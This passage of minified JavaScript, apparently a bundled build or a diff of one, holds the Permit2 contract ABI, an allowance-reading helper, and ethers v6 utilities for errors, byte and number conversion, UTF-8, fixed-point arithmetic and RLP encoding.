internalType: "struct ISignatureTransfer.PermitTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }, { internalType: "bytes32", name: "witness", type: "bytes32" }, { internalType: "string", name: "witnessTypeName", type: "string" }, { internalType: "string", name: "witnessType", type: "string" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitWitnessTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ components: [{ components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint256", name: "amount", type: "uint256" }], internalType: "struct ISignatureTransfer.TokenPermissions[]", name: "permitted", type: "tuple[]" }, { internalType: "uint256", name: "nonce", type: "uint256" }, { internalType: "uint256", name: "deadline", type: "uint256" }], internalType: "struct ISignatureTransfer.PermitBatchTransferFrom", name: "permit", type: "tuple" }, { internalType: "address", name: "owner", type: "address" }, { components: [{ internalType: "address", name: "to", type: "address" }, { internalType: "uint256", name: "requestedAmount", type: "uint256" }], internalType: "struct ISignatureTransfer.SignatureTransferDetails[]", name: "transferDetails", type: "tuple[]" }, { internalType: "bytes32", name: "witness", type: "bytes32" }, { internalType: "string", name: "witnessTypeName", type: "string" }, { internalType: "string", name: "witnessType", type: "string" }, { internalType: "bytes", name: "signature", type: "bytes" }], name: "permitWitnessTransferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "token", type: "address" }, { internalType: "address", name: "from", type: "address" }, { internalType: "address", name: "to", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }], name: "transferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }, { inputs: [{ internalType: "address", name: "from", type: "address" }, { components: [{ internalType: "address", name: "token", type: "address" }, { internalType: "uint160", name: "amount", type: "uint160" }, { internalType: "address", name: "to", type: "address" }], internalType: "struct IAllowanceTransfer.AllowanceTransferDetails[]", name: "transferDetails", type: "tuple[]" }], name: "transferFrom", outputs: [], stateMutability: "nonpayable", type: "function" }], x2 = function() { - function t3(t4, e4) { - this.provider = t4, this.permit2Address = e4, this.permit2 = new A2.Contract(this.permit2Address, M2, this.provider); - } - var e3 = t3.prototype; - return e3.getAllowanceData = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.permit2.allowance(r5, e4, n3); - case 2: - return t6.abrupt("return", t6.sent); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), e3.getAllowance = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.getAllowanceData(e4, r5, n3); - case 2: - return t6.abrupt("return", t6.sent.amount); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), e3.getNonce = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.getAllowanceData(e4, r5, n3); - case 2: - return t6.abrupt("return", t6.sent.nonce); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), e3.getExpiration = function() { - var t4 = _2(w2().mark(function t5(e4, r5, n3) { - return w2().wrap(function(t6) { - for (; ; ) - switch (t6.prev = t6.next) { - case 0: - return t6.next = 2, this.getAllowanceData(e4, r5, n3); - case 2: - return t6.abrupt("return", t6.sent.expiration); - case 3: - case "end": - return t6.stop(); - } - }, t5, this); - })); - return function(e4, r5, n3) { - return t4.apply(this, arguments); - }; - }(), t3; - }(); - return ln.AllowanceProvider = x2, ln.AllowanceTransfer = B2, ln.InstantExpiration = d2, ln.MaxAllowanceExpiration = g2, ln.MaxAllowanceTransferAmount = h2, ln.MaxOrderedNonce = u2, ln.MaxSigDeadline = p2, ln.MaxSignatureTransferAmount = l2, ln.MaxUint160 = a2, ln.MaxUint256 = c2, ln.MaxUint48 = o2, ln.MaxUnorderedNonce = f2, ln.PERMIT2_ADDRESS = i2, ln.SignatureTransfer = S2, ln.permit2Address = function(t3) { - return 324 === t3 ? "0x0000000000225e31D15943971F47aD3022F714Fa" : i2; - }, ln; - }(); - var fn = i.exports; - var pn = "6.11.1"; - function dn(t2, e2, r4) { - const n2 = e2.split("|").map((t3) => t3.trim()); - for (let r5 = 0; r5 < n2.length; r5++) - switch (e2) { - case "any": - return; - case "bigint": - case "boolean": - case "number": - case "string": - if (typeof t2 === e2) - return; - } - const A2 = new Error(`invalid value for type ${e2}`); - throw A2.code = "INVALID_ARGUMENT", A2.argument = `value.${r4}`, A2.value = t2, A2; - } - async function In(t2) { - const e2 = Object.keys(t2); - return (await Promise.all(e2.map((e3) => Promise.resolve(t2[e3])))).reduce((t3, r4, n2) => (t3[e2[n2]] = r4, t3), {}); - } - function yn(t2, e2, r4) { - for (let n2 in e2) { - let A2 = e2[n2]; - const i2 = r4 ? r4[n2] : null; - i2 && dn(A2, i2, n2), Object.defineProperty(t2, n2, { enumerable: true, value: A2, writable: false }); - } - } - function Cn(t2) { - if (null == t2) - return "null"; - if (Array.isArray(t2)) - return "[ " + t2.map(Cn).join(", ") + " ]"; - if (t2 instanceof Uint8Array) { - const e2 = "0123456789abcdef"; - let r4 = "0x"; - for (let n2 = 0; n2 < t2.length; n2++) - r4 += e2[t2[n2] >> 4], r4 += e2[15 & t2[n2]]; - return r4; - } - if ("object" == typeof t2 && "function" == typeof t2.toJSON) - return Cn(t2.toJSON()); - switch (typeof t2) { - case "boolean": - case "symbol": - case "number": - return t2.toString(); - case "bigint": - return BigInt(t2).toString(); - case "string": - return JSON.stringify(t2); - case "object": { - const e2 = Object.keys(t2); - return e2.sort(), "{ " + e2.map((e3) => `${Cn(e3)}: ${Cn(t2[e3])}`).join(", ") + " }"; - } - } - return "[ COULD NOT SERIALIZE ]"; - } - function mn(t2, e2) { - return t2 && t2.code === e2; - } - function Bn(t2) { - return mn(t2, "CALL_EXCEPTION"); - } - function En(t2, e2, r4) { - let n2, A2 = t2; - { - const n3 = []; - if (r4) { - if ("message" in r4 || "code" in r4 || "name" in r4) - throw new Error(`value will overwrite populated values: ${Cn(r4)}`); - for (const t3 in r4) { - if ("shortMessage" === t3) - continue; - const e3 = r4[t3]; - n3.push(t3 + "=" + Cn(e3)); - } - } - n3.push(`code=${e2}`), n3.push(`version=${pn}`), n3.length && (t2 += " (" + n3.join(", ") + ")"); - } - switch (e2) { - case "INVALID_ARGUMENT": - n2 = new TypeError(t2); - break; - case "NUMERIC_FAULT": - case "BUFFER_OVERRUN": - n2 = new RangeError(t2); - break; - default: - n2 = new Error(t2); - } - return yn(n2, { code: e2 }), r4 && Object.assign(n2, r4), null == n2.shortMessage && yn(n2, { shortMessage: A2 }), n2; - } - function wn(t2, e2, r4, n2) { - if (!t2) - throw En(e2, r4, n2); - } - function vn(t2, e2, r4, n2) { - wn(t2, e2, "INVALID_ARGUMENT", { argument: r4, value: n2 }); - } - function _n(t2, e2, r4) { - null == r4 && (r4 = ""), r4 && (r4 = ": " + r4), wn(t2 >= e2, "missing arguemnt" + r4, "MISSING_ARGUMENT", { count: t2, expectedCount: e2 }), wn(t2 <= e2, "too many arguments" + r4, "UNEXPECTED_ARGUMENT", { count: t2, expectedCount: e2 }); - } - var Qn = ["NFD", "NFC", "NFKD", "NFKC"].reduce((t2, e2) => { - try { - if ("test" !== "test".normalize(e2)) - throw new Error("bad"); - if ("NFD" === e2) { - const t3 = String.fromCharCode(233).normalize("NFD"); - if (t3 !== String.fromCharCode(101, 769)) - throw new Error("broken"); - } - t2.push(e2); - } catch (t3) { - } - return t2; - }, []); - function bn(t2) { - wn(Qn.indexOf(t2) >= 0, "platform missing String.prototype.normalize", "UNSUPPORTED_OPERATION", { operation: "String.prototype.normalize", info: { form: t2 } }); - } - function kn(t2, e2, r4) { - if (null == r4 && (r4 = ""), t2 !== e2) { - let t3 = r4, e3 = "new"; - r4 && (t3 += ".", e3 += " " + r4), wn(false, `private constructor; use ${t3}from* methods`, "UNSUPPORTED_OPERATION", { operation: e3 }); - } - } - function Dn(t2, e2, r4) { - if (t2 instanceof Uint8Array) - return r4 ? new Uint8Array(t2) : t2; - if ("string" == typeof t2 && t2.match(/^0x([0-9a-f][0-9a-f])*$/i)) { - const e3 = new Uint8Array((t2.length - 2) / 2); - let r5 = 2; - for (let n2 = 0; n2 < e3.length; n2++) - e3[n2] = parseInt(t2.substring(r5, r5 + 2), 16), r5 += 2; - return e3; - } - vn(false, "invalid BytesLike value", e2 || "value", t2); - } - function Sn(t2, e2) { - return Dn(t2, e2, false); - } - function Nn(t2, e2) { - return Dn(t2, e2, true); - } - function Mn(t2, e2) { - return !("string" != typeof t2 || !t2.match(/^0x[0-9A-Fa-f]*$/)) && (("number" != typeof e2 || t2.length === 2 + 2 * e2) && (true !== e2 || t2.length % 2 == 0)); - } - function xn(t2) { - return Mn(t2, true) || t2 instanceof Uint8Array; - } - var Fn = "0123456789abcdef"; - function Pn(t2) { - const e2 = Sn(t2); - let r4 = "0x"; - for (let t3 = 0; t3 < e2.length; t3++) { - const n2 = e2[t3]; - r4 += Fn[(240 & n2) >> 4] + Fn[15 & n2]; - } - return r4; - } - function Tn(t2) { - return "0x" + t2.map((t3) => Pn(t3).substring(2)).join(""); - } - function Rn(t2) { - return Mn(t2, true) ? (t2.length - 2) / 2 : Sn(t2).length; - } - function Un(t2, e2, r4) { - const n2 = Sn(t2); - return null != r4 && r4 > n2.length && wn(false, "cannot slice beyond data bounds", "BUFFER_OVERRUN", { buffer: n2, length: n2.length, offset: r4 }), Pn(n2.slice(null == e2 ? 0 : e2, null == r4 ? n2.length : r4)); - } - function Gn(t2, e2, r4) { - const n2 = Sn(t2); - wn(e2 >= n2.length, "padding exceeds data length", "BUFFER_OVERRUN", { buffer: new Uint8Array(n2), length: e2, offset: e2 + 1 }); - const A2 = new Uint8Array(e2); - return A2.fill(0), r4 ? A2.set(n2, e2 - n2.length) : A2.set(n2, 0), Pn(A2); - } - function Hn(t2, e2) { - return Gn(t2, e2, true); - } - var Ln = BigInt(0); - var On = BigInt(1); - var Yn = 9007199254740991; - function Kn(t2, e2) { - const r4 = qn(t2, "value"), n2 = BigInt(Wn(e2, "width")); - if (wn(r4 >> n2 === Ln, "overflow", "NUMERIC_FAULT", { operation: "fromTwos", fault: "overflow", value: t2 }), r4 >> n2 - On) { - return -((~r4 & (On << n2) - On) + On); - } - return r4; - } - function Jn(t2, e2) { - let r4 = zn(t2, "value"); - const n2 = BigInt(Wn(e2, "width")), A2 = On << n2 - On; - if (r4 < Ln) { - r4 = -r4, wn(r4 <= A2, "too low", "NUMERIC_FAULT", { operation: "toTwos", fault: "overflow", value: t2 }); - return (~r4 & (On << n2) - On) + On; - } - return wn(r4 < A2, "too high", "NUMERIC_FAULT", { operation: "toTwos", fault: "overflow", value: t2 }), r4; - } - function jn(t2, e2) { - const r4 = qn(t2, "value"), n2 = BigInt(Wn(e2, "bits")); - return r4 & (On << n2) - On; - } - function zn(t2, e2) { - switch (typeof t2) { - case "bigint": - return t2; - case "number": - return vn(Number.isInteger(t2), "underflow", e2 || "value", t2), vn(t2 >= -Yn && t2 <= Yn, "overflow", e2 || "value", t2), BigInt(t2); - case "string": - try { - if ("" === t2) - throw new Error("empty string"); - return "-" === t2[0] && "-" !== t2[1] ? -BigInt(t2.substring(1)) : BigInt(t2); - } catch (r4) { - vn(false, `invalid BigNumberish string: ${r4.message}`, e2 || "value", t2); - } - } - vn(false, "invalid BigNumberish value", e2 || "value", t2); - } - function qn(t2, e2) { - const r4 = zn(t2, e2); - return wn(r4 >= Ln, "unsigned value cannot be negative", "NUMERIC_FAULT", { fault: "overflow", operation: "getUint", value: t2 }), r4; - } - var Xn = "0123456789abcdef"; - function Vn(t2) { - if (t2 instanceof Uint8Array) { - let e2 = "0x0"; - for (const r4 of t2) - e2 += Xn[r4 >> 4], e2 += Xn[15 & r4]; - return BigInt(e2); - } - return zn(t2); - } - function Wn(t2, e2) { - switch (typeof t2) { - case "bigint": - return vn(t2 >= -Yn && t2 <= Yn, "overflow", e2 || "value", t2), Number(t2); - case "number": - return vn(Number.isInteger(t2), "underflow", e2 || "value", t2), vn(t2 >= -Yn && t2 <= Yn, "overflow", e2 || "value", t2), t2; - case "string": - try { - if ("" === t2) - throw new Error("empty string"); - return Wn(BigInt(t2), e2); - } catch (r4) { - vn(false, `invalid numeric string: ${r4.message}`, e2 || "value", t2); - } - } - vn(false, "invalid numeric value", e2 || "value", t2); - } - function Zn(t2, e2) { - let r4 = qn(t2, "value").toString(16); - if (null == e2) - r4.length % 2 && (r4 = "0" + r4); - else { - const n2 = Wn(e2, "width"); - for (wn(2 * n2 >= r4.length, `value exceeds width (${n2} bytes)`, "NUMERIC_FAULT", { operation: "toBeHex", fault: "overflow", value: t2 }); r4.length < 2 * n2; ) - r4 = "0" + r4; - } - return "0x" + r4; - } - function $n(t2) { - const e2 = qn(t2, "value"); - if (e2 === Ln) - return new Uint8Array([]); - let r4 = e2.toString(16); - r4.length % 2 && (r4 = "0" + r4); - const n2 = new Uint8Array(r4.length / 2); - for (let t3 = 0; t3 < n2.length; t3++) { - const e3 = 2 * t3; - n2[t3] = parseInt(r4.substring(e3, e3 + 2), 16); - } - return n2; - } - var tA = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; - var eA = null; - function rA(t2) { - if (null == eA) { - eA = {}; - for (let t3 = 0; t3 < tA.length; t3++) - eA[tA[t3]] = BigInt(t3); - } - const e2 = eA[t2]; - return vn(null != e2, "invalid base58 value", "letter", t2), e2; - } - var nA = BigInt(0); - var AA = BigInt(58); - var iA = class { - filter; - emitter; - #t; - constructor(t2, e2, r4) { - this.#t = e2, yn(this, { emitter: t2, filter: r4 }); - } - async removeListener() { - null != this.#t && await this.emitter.off(this.filter, this.#t); - } - }; - function oA(t2, e2, r4, n2, A2) { - if ("BAD_PREFIX" === t2 || "UNEXPECTED_CONTINUE" === t2) { - let t3 = 0; - for (let n3 = e2 + 1; n3 < r4.length && r4[n3] >> 6 == 2; n3++) - t3++; - return t3; - } - return "OVERRUN" === t2 ? r4.length - e2 - 1 : 0; - } - var sA = Object.freeze({ error: function(t2, e2, r4, n2, A2) { - vn(false, `invalid codepoint at offset ${e2}; ${t2}`, "bytes", r4); - }, ignore: oA, replace: function(t2, e2, r4, n2, A2) { - return "OVERLONG" === t2 ? (vn("number" == typeof A2, "invalid bad code point for replacement", "badCodepoint", A2), n2.push(A2), 0) : (n2.push(65533), oA(t2, e2, r4)); - } }); - function aA(t2, e2) { - vn("string" == typeof t2, "invalid string value", "str", t2), null != e2 && (bn(e2), t2 = t2.normalize(e2)); - let r4 = []; - for (let e3 = 0; e3 < t2.length; e3++) { - const n2 = t2.charCodeAt(e3); - if (n2 < 128) - r4.push(n2); - else if (n2 < 2048) - r4.push(n2 >> 6 | 192), r4.push(63 & n2 | 128); - else if (55296 == (64512 & n2)) { - e3++; - const A2 = t2.charCodeAt(e3); - vn(e3 < t2.length && 56320 == (64512 & A2), "invalid surrogate pair", "str", t2); - const i2 = 65536 + ((1023 & n2) << 10) + (1023 & A2); - r4.push(i2 >> 18 | 240), r4.push(i2 >> 12 & 63 | 128), r4.push(i2 >> 6 & 63 | 128), r4.push(63 & i2 | 128); - } else - r4.push(n2 >> 12 | 224), r4.push(n2 >> 6 & 63 | 128), r4.push(63 & n2 | 128); - } - return new Uint8Array(r4); - } - function cA(t2, e2) { - return r4 = function(t3, e3) { - null == e3 && (e3 = sA.error); - const r5 = Sn(t3, "bytes"), n2 = []; - let A2 = 0; - for (; A2 < r5.length; ) { - const t4 = r5[A2++]; - if (!(t4 >> 7)) { - n2.push(t4); - continue; - } - let i2 = null, o2 = null; - if (192 == (224 & t4)) - i2 = 1, o2 = 127; - else if (224 == (240 & t4)) - i2 = 2, o2 = 2047; - else { - if (240 != (248 & t4)) { - A2 += e3(128 == (192 & t4) ? "UNEXPECTED_CONTINUE" : "BAD_PREFIX", A2 - 1, r5, n2); - continue; - } - i2 = 3, o2 = 65535; - } - if (A2 - 1 + i2 >= r5.length) { - A2 += e3("OVERRUN", A2 - 1, r5, n2); - continue; - } - let s2 = t4 & (1 << 8 - i2 - 1) - 1; - for (let t5 = 0; t5 < i2; t5++) { - let t6 = r5[A2]; - if (128 != (192 & t6)) { - A2 += e3("MISSING_CONTINUE", A2, r5, n2), s2 = null; - break; - } - s2 = s2 << 6 | 63 & t6, A2++; - } - null !== s2 && (s2 > 1114111 ? A2 += e3("OUT_OF_RANGE", A2 - 1 - i2, r5, n2, s2) : s2 >= 55296 && s2 <= 57343 ? A2 += e3("UTF16_SURROGATE", A2 - 1 - i2, r5, n2, s2) : s2 <= o2 ? A2 += e3("OVERLONG", A2 - 1 - i2, r5, n2, s2) : n2.push(s2)); - } - return n2; - }(t2, e2), r4.map((t3) => t3 <= 65535 ? String.fromCharCode(t3) : (t3 -= 65536, String.fromCharCode(55296 + (t3 >> 10 & 1023), 56320 + (1023 & t3)))).join(""); - var r4; - } - var hA = BigInt(-1); - var gA = BigInt(0); - var uA = BigInt(1); - var lA = BigInt(5); - var fA = {}; - var pA = "0000"; - for (; pA.length < 80; ) - pA += pA; - function dA(t2) { - let e2 = pA; - for (; e2.length < t2; ) - e2 += e2; - return BigInt("1" + e2.substring(0, t2)); - } - function IA(t2, e2, r4) { - const n2 = BigInt(e2.width); - if (e2.signed) { - const e3 = uA << n2 - uA; - wn(null == r4 || t2 >= -e3 && t2 < e3, "overflow", "NUMERIC_FAULT", { operation: r4, fault: "overflow", value: t2 }), t2 = t2 > gA ? Kn(jn(t2, n2), n2) : -Kn(jn(-t2, n2), n2); - } else { - const e3 = uA << n2; - wn(null == r4 || t2 >= 0 && t2 < e3, "overflow", "NUMERIC_FAULT", { operation: r4, fault: "overflow", value: t2 }), t2 = (t2 % e3 + e3) % e3 & e3 - uA; - } - return t2; - } - function yA(t2) { - "number" == typeof t2 && (t2 = `fixed128x${t2}`); - let e2 = true, r4 = 128, n2 = 18; - if ("string" == typeof t2) - if ("fixed" === t2) - ; - else if ("ufixed" === t2) - e2 = false; - else { - const A2 = t2.match(/^(u?)fixed([0-9]+)x([0-9]+)$/); - vn(A2, "invalid fixed format", "format", t2), e2 = "u" !== A2[1], r4 = parseInt(A2[2]), n2 = parseInt(A2[3]); - } - else if (t2) { - const A2 = t2, i2 = (t3, e3, r5) => null == A2[t3] ? r5 : (vn(typeof A2[t3] === e3, "invalid fixed format (" + t3 + " not " + e3 + ")", "format." + t3, A2[t3]), A2[t3]); - e2 = i2("signed", "boolean", e2), r4 = i2("width", "number", r4), n2 = i2("decimals", "number", n2); - } - vn(r4 % 8 == 0, "invalid FixedNumber width (not byte aligned)", "format.width", r4), vn(n2 <= 80, "invalid FixedNumber decimals (too large)", "format.decimals", n2); - return { signed: e2, width: r4, decimals: n2, name: (e2 ? "" : "u") + "fixed" + String(r4) + "x" + String(n2) }; - } - var CA = class _CA { - format; - #e; - #r; - #n; - _value; - constructor(t2, e2, r4) { - kn(t2, fA, "FixedNumber"), this.#r = e2, this.#e = r4; - const n2 = function(t3, e3) { - let r5 = ""; - t3 < gA && (r5 = "-", t3 *= hA); - let n3 = t3.toString(); - if (0 === e3) - return r5 + n3; - for (; n3.length <= e3; ) - n3 = pA + n3; - const A2 = n3.length - e3; - for (n3 = n3.substring(0, A2) + "." + n3.substring(A2); "0" === n3[0] && "." !== n3[1]; ) - n3 = n3.substring(1); - for (; "0" === n3[n3.length - 1] && "." !== n3[n3.length - 2]; ) - n3 = n3.substring(0, n3.length - 1); - return r5 + n3; - }(e2, r4.decimals); - yn(this, { format: r4.name, _value: n2 }), this.#n = dA(r4.decimals); - } - get signed() { - return this.#e.signed; - } - get width() { - return this.#e.width; - } - get decimals() { - return this.#e.decimals; - } - get value() { - return this.#r; - } - #A(t2) { - vn(this.format === t2.format, "incompatible format; use fixedNumber.toFormat", "other", t2); - } - #i(t2, e2) { - return t2 = IA(t2, this.#e, e2), new _CA(fA, t2, this.#e); - } - #o(t2, e2) { - return this.#A(t2), this.#i(this.#r + t2.#r, e2); - } - addUnsafe(t2) { - return this.#o(t2); - } - add(t2) { - return this.#o(t2, "add"); - } - #s(t2, e2) { - return this.#A(t2), this.#i(this.#r - t2.#r, e2); - } - subUnsafe(t2) { - return this.#s(t2); - } - sub(t2) { - return this.#s(t2, "sub"); - } - #a(t2, e2) { - return this.#A(t2), this.#i(this.#r * t2.#r / this.#n, e2); - } - mulUnsafe(t2) { - return this.#a(t2); - } - mul(t2) { - return this.#a(t2, "mul"); - } - mulSignal(t2) { - this.#A(t2); - const e2 = this.#r * t2.#r; - return wn(e2 % this.#n === gA, "precision lost during signalling mul", "NUMERIC_FAULT", { operation: "mulSignal", fault: "underflow", value: this }), this.#i(e2 / this.#n, "mulSignal"); - } - #c(t2, e2) { - return wn(t2.#r !== gA, "division by zero", "NUMERIC_FAULT", { operation: "div", fault: "divide-by-zero", value: this }), this.#A(t2), this.#i(this.#r * this.#n / t2.#r, e2); - } - divUnsafe(t2) { - return this.#c(t2); - } - div(t2) { - return this.#c(t2, "div"); - } - divSignal(t2) { - wn(t2.#r !== gA, "division by zero", "NUMERIC_FAULT", { operation: "div", fault: "divide-by-zero", value: this }), this.#A(t2); - const e2 = this.#r * this.#n; - return wn(e2 % t2.#r === gA, "precision lost during signalling div", "NUMERIC_FAULT", { operation: "divSignal", fault: "underflow", value: this }), this.#i(e2 / t2.#r, "divSignal"); - } - cmp(t2) { - let e2 = this.value, r4 = t2.value; - const n2 = this.decimals - t2.decimals; - return n2 > 0 ? r4 *= dA(n2) : n2 < 0 && (e2 *= dA(-n2)), e2 < r4 ? -1 : e2 > r4 ? 1 : 0; - } - eq(t2) { - return 0 === this.cmp(t2); - } - lt(t2) { - return this.cmp(t2) < 0; - } - lte(t2) { - return this.cmp(t2) <= 0; - } - gt(t2) { - return this.cmp(t2) > 0; - } - gte(t2) { - return this.cmp(t2) >= 0; - } - floor() { - let t2 = this.#r; - return this.#r < gA && (t2 -= this.#n - uA), t2 = this.#r / this.#n * this.#n, this.#i(t2, "floor"); - } - ceiling() { - let t2 = this.#r; - return this.#r > gA && (t2 += this.#n - uA), t2 = this.#r / this.#n * this.#n, this.#i(t2, "ceiling"); - } - round(t2) { - if (null == t2 && (t2 = 0), t2 >= this.decimals) - return this; - const e2 = this.decimals - t2, r4 = lA * dA(e2 - 1); - let n2 = this.value + r4; - const A2 = dA(e2); - return n2 = n2 / A2 * A2, IA(n2, this.#e, "round"), new _CA(fA, n2, this.#e); - } - isZero() { - return this.#r === gA; - } - isNegative() { - return this.#r < gA; - } - toString() { - return this._value; - } - toUnsafeFloat() { - return parseFloat(this.toString()); - } - toFormat(t2) { - return _CA.fromString(this.toString(), t2); - } - static fromValue(t2, e2, r4) { - const n2 = null == e2 ? 0 : Wn(e2), A2 = yA(r4); - let i2 = zn(t2, "value"); - const o2 = n2 - A2.decimals; - if (o2 > 0) { - const e3 = dA(o2); - wn(i2 % e3 === gA, "value loses precision for format", "NUMERIC_FAULT", { operation: "fromValue", fault: "underflow", value: t2 }), i2 /= e3; - } else - o2 < 0 && (i2 *= dA(-o2)); - return IA(i2, A2, "fromValue"), new _CA(fA, i2, A2); - } - static fromString(t2, e2) { - const r4 = t2.match(/^(-?)([0-9]*)\.?([0-9]*)$/); - vn(r4 && r4[2].length + r4[3].length > 0, "invalid FixedNumber string value", "value", t2); - const n2 = yA(e2); - let A2 = r4[2] || "0", i2 = r4[3] || ""; - for (; i2.length < n2.decimals; ) - i2 += pA; - wn(i2.substring(n2.decimals).match(/^0*$/), "too many decimals for format", "NUMERIC_FAULT", { operation: "fromString", fault: "underflow", value: t2 }), i2 = i2.substring(0, n2.decimals); - const o2 = BigInt(r4[1] + A2 + i2); - return IA(o2, n2, "fromString"), new _CA(fA, o2, n2); - } - static fromBytes(t2, e2) { - let r4 = Vn(Sn(t2, "value")); - const n2 = yA(e2); - return n2.signed && (r4 = Kn(r4, n2.width)), IA(r4, n2, "fromBytes"), new _CA(fA, r4, n2); - } - }; - function mA(t2) { - let e2 = t2.toString(16); - for (; e2.length < 2; ) - e2 = "0" + e2; - return "0x" + e2; - } - function BA(t2, e2, r4) { - let n2 = 0; - for (let A2 = 0; A2 < r4; A2++) - n2 = 256 * n2 + t2[e2 + A2]; - return n2; - } - function EA(t2, e2, r4, n2) { - const A2 = []; - for (; r4 < e2 + 1 + n2; ) { - const i2 = wA(t2, r4); - A2.push(i2.result), wn((r4 += i2.consumed) <= e2 + 1 + n2, "child data too short", "BUFFER_OVERRUN", { buffer: t2, length: n2, offset: e2 }); - } - return { consumed: 1 + n2, result: A2 }; - } - function wA(t2, e2) { - wn(0 !== t2.length, "data too short", "BUFFER_OVERRUN", { buffer: t2, length: 0, offset: 1 }); - const r4 = (e3) => { - wn(e3 <= t2.length, "data short segment too short", "BUFFER_OVERRUN", { buffer: t2, length: t2.length, offset: e3 }); - }; - if (t2[e2] >= 248) { - const n2 = t2[e2] - 247; - r4(e2 + 1 + n2); - const A2 = BA(t2, e2 + 1, n2); - return r4(e2 + 1 + n2 + A2), EA(t2, e2, e2 + 1 + n2, n2 + A2); - } - if (t2[e2] >= 192) { - const n2 = t2[e2] - 192; - return r4(e2 + 1 + n2), EA(t2, e2, e2 + 1, n2); - } - if (t2[e2] >= 184) { - const n2 = t2[e2] - 183; - r4(e2 + 1 + n2); - const A2 = BA(t2, e2 + 1, n2); - r4(e2 + 1 + n2 + A2); - return { consumed: 1 + n2 + A2, result: Pn(t2.slice(e2 + 1 + n2, e2 + 1 + n2 + A2)) }; - } - if (t2[e2] >= 128) { - const n2 = t2[e2] - 128; - r4(e2 + 1 + n2); - return { consumed: 1 + n2, result: Pn(t2.slice(e2 + 1, e2 + 1 + n2)) }; - } - return { consumed: 1, result: mA(t2[e2]) }; - } - function vA(t2) { - const e2 = Sn(t2, "data"), r4 = wA(e2, 0); - return vn(r4.consumed === e2.length, "unexpected junk after rlp payload", "data", t2), r4.result; - } - function _A(t2) { - const e2 = []; - for (; t2; ) - e2.unshift(255 & t2), t2 >>= 8; - return e2; - } - function QA(t2) { - if (Array.isArray(t2)) { - let e3 = []; - if (t2.forEach(function(t3) { - e3 = e3.concat(QA(t3)); - }), e3.length <= 55) - return e3.unshift(192 + e3.length), e3; - const r5 = _A(e3.length); - return r5.unshift(247 + r5.length), r5.concat(e3); - } - const e2 = Array.prototype.slice.call(Sn(t2, "object")); - if (1 === e2.length && e2[0] <= 127) - return e2; - if (e2.length <= 55) - return e2.unshift(128 + e2.length), e2; - const r4 = _A(e2.length); - return r4.unshift(183 + r4.length), r4.concat(e2); - } - var bA = "0123456789abcdef"; - function kA(t2) { - let e2 = "0x"; - for (const r4 of QA(t2)) - e2 += bA[r4 >> 4], e2 += bA[15 & r4]; - return e2; - } - var DA = ["wei", "kwei", "mwei", "gwei", "szabo", "finney", "ether"]; - function SA(t2, e2) { - vn("string" == typeof t2, "value must be a string", "value", t2); - let r4 = 18; - if ("string" == typeof e2) { - const t3 = DA.indexOf(e2); - vn(t3 >= 0, "invalid unit", "unit", e2), r4 = 3 * t3; - } else - null != e2 && (r4 = Wn(e2, "unit")); - return CA.fromString(t2, { decimals: r4, width: 512 }).value; - } - function NA(t2) { - const e2 = Sn(t2, "randomBytes"); - e2[6] = 15 & e2[6] | 64, e2[8] = 63 & e2[8] | 128; - const r4 = Pn(e2); - return [r4.substring(2, 10), r4.substring(10, 14), r4.substring(14, 18), r4.substring(18, 22), r4.substring(22, 34)].join("-"); - } - var MA = 32; - var xA = new Uint8Array(MA); - var FA = ["then"]; - var PA = {}; - function TA(t2, e2) { - const r4 = new Error(`deferred error during ABI decoding triggered accessing ${t2}`); - throw r4.error = e2, r4; - } - var RA = class _RA extends Array { - #h; - constructor(...t2) { - const e2 = t2[0]; - let r4 = t2[1], n2 = (t2[2] || []).slice(), A2 = true; - e2 !== PA && (r4 = t2, n2 = [], A2 = false), super(r4.length), r4.forEach((t3, e3) => { - this[e3] = t3; - }); - const i2 = n2.reduce((t3, e3) => ("string" == typeof e3 && t3.set(e3, (t3.get(e3) || 0) + 1), t3), /* @__PURE__ */ new Map()); - if (this.#h = Object.freeze(r4.map((t3, e3) => { - const r5 = n2[e3]; - return null != r5 && 1 === i2.get(r5) ? r5 : null; - })), A2) - return Object.freeze(this), new Proxy(this, { get: (t3, e3, r5) => { - if ("string" == typeof e3) { - if (e3.match(/^[0-9]+$/)) { - const r6 = Wn(e3, "%index"); - if (r6 < 0 || r6 >= this.length) - throw new RangeError("out of result range"); - const n4 = t3[r6]; - return n4 instanceof Error && TA(`index ${r6}`, n4), n4; - } - if (FA.indexOf(e3) >= 0) - return Reflect.get(t3, e3, r5); - const n3 = t3[e3]; - if (n3 instanceof Function) - return function(...e4) { - return n3.apply(this === r5 ? t3 : this, e4); - }; - if (!(e3 in t3)) - return t3.getValue.apply(this === r5 ? t3 : this, [e3]); - } - return Reflect.get(t3, e3, r5); - } }); - } - toArray() { - const t2 = []; - return this.forEach((e2, r4) => { - e2 instanceof Error && TA(`index ${r4}`, e2), t2.push(e2); - }), t2; - } - toObject() { - return this.#h.reduce((t2, e2, r4) => (wn(null != e2, "value at index ${ index } unnamed", "UNSUPPORTED_OPERATION", { operation: "toObject()" }), e2 in t2 || (t2[e2] = this.getValue(e2)), t2), {}); - } - 